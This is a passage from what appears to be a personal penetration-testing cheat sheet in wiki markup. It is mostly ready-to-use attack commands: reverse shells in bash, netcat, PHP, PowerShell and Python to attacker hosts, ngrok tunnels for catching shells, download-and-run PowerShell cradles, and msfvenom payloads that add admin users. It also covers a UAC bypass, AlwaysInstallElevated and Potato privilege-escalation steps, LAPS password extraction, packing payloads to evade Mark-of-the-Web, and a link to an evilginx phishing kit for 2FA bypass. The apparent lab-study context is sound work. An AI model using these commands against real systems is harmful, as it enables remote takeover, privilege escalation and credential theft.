./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
